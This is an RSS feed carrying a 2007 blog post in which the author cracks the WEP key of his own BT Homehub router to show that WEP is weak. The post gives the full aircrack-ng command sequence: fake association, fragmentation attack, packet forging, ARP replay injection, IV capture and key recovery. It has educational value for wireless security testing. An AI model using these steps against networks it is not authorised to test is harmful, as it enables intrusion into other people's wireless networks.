<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>durdle.com &#187; Wireless</title>
	<atom:link href="http://durdle.com/archives/category/wireless/feed/" rel="self" type="application/rss+xml" />
	<link>http://durdle.com</link>
	<description></description>
	<lastBuildDate>Mon, 23 Aug 2010 11:25:37 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Clientless WEP Cracking</title>
		<link>http://durdle.com/archives/2007/03/08/clientless-wep-cracking/</link>
		<comments>http://durdle.com/archives/2007/03/08/clientless-wep-cracking/#comments</comments>
		<pubDate>Thu, 08 Mar 2007 19:21:11 +0000</pubDate>
		<dc:creator>Howard</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Wireless]]></category>

		<guid isPermaLink="false">http://blog.durdle.com/archives/2007/03/08/clientless-wep-cracking/</guid>
		<description><![CDATA[In case you weren’t aware, using WEP to secure your home network is a bit like putting a sign on your front door letting everyone know that you do have a key to keep it locked, but if they can work out your clue they’ll be able to find it.  And then leaving your...]]></description>
			<content:encoded><![CDATA[<p>In case you weren’t aware, using WEP to secure your home network is a bit like putting a sign on your front door letting everyone know that you do have a key to keep it locked, but if they can work out your clue they’ll be able to find it.  And then leaving your key under the mat.</p>
<p>I&#8217;ve tried cracking WEP before with limited success &#8211; relying on the network to be busy enough to capture packets doesn&#8217;t make for reliable cracking, but this method is different &#8211; forcing the access point to produce all the packets we need for analysis.  I thought it was time I finally proved to myself that it was possible so I dug out the old BT Homehub device and switched on the wireless before booting my MacBook Pro off an excellent pen test Live CD – <a target="_blank" title="BackTrack2 Live CD for PenTesting" href="http://www.remote-exploit.org/backtrack.html">BackTrack</a>.<span id="more-252"></span></p>
<p>All you need is a machine with a wireless card, the BackTrack CD, the MAC address of your target access point, the SSID (the network “name”) and the MAC address of your wireless card.</p>
<p class="MsoNormal">Once booted, here are the steps I took to obtain the WEP key for the network:</p>
<pre>
airmon-ng start wifi0 11
wlanconfig ath0 destroy

export AP=00:14:7F:95:5B:AC    <span style="color: #e36c0a">< -- Access Point MAC</span>
export WIFI=00:14:51:XX:XX:XX  </span><span style="color: #e36c0a">< -- WLAN Card MAC</span>
export SSID=BTHomeHub-1100     </span><span style="color: #e36c0a">< -- SSID of target network</span>

ifconfig ath1 up
iwconfig ath1 mode Monitor channel 11
aireplay-ng -1 0 -e $SSID -a $AP -h $WIFI ath1
</pre>
<p>At this point you should see an “Association Successful!” message, you can continue with:</p>
<pre>
aireplay-ng -5 -b $AP -h $WIFI ath1
</pre>
<p>You’ll now have to wait until aireplay returns with the packet it has found, when it asks to keep it, say yes.  It’ll get saved to a fragment.xor file.  You can use the .xor file to forge the packet we’re going to throw at the access point:</p>
<pre>
packetforge-ng -0 -a $AP -h $WIFI -k 255.255.255.255 -l 255.255.255.255 -y fragment.xor -w arp-request
</pre>
<p>This will write the forged packet to the file arp-request.  Now, time to start capturing the packets we’re going to analyse:</p>
<pre>airodump-ng -c 11 -bssid $AP --ivs -w cap ath1</pre>
<p>In a new console, start throwing the arp-request packet out to the access point:</p>
<pre>aireplay-ng -2 -r arp-request ath1</pre>
<p>When it finds our packet, say yes and it will start broadcasting.  You should see the airodump stats start to skyrocket at this point.  After you’ve got approx 70000 data packets in the airodump window, start another console and run:</p>
<pre>aircrack-ng -n 64 -b $AP *.ivs</pre>
<p>This will do the work of cracking the key from the captured packets, after a while (less than a minute for me) it will hopefully spit out something like the following:</p>
<p><a class="imagelink" title="Success!" href="/wp-content/uploads/image002.jpg" rel="lightbox[252]"><img width="128" height="53" id="image251" alt="Success!" src="/wp-content/uploads/image002.thumbnail.jpg" /></a></p>
<p>Job done.  Told you WEP was easy.</p>
]]></content:encoded>
			<wfw:commentRss>http://durdle.com/archives/2007/03/08/clientless-wep-cracking/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
	</channel>
</rss>
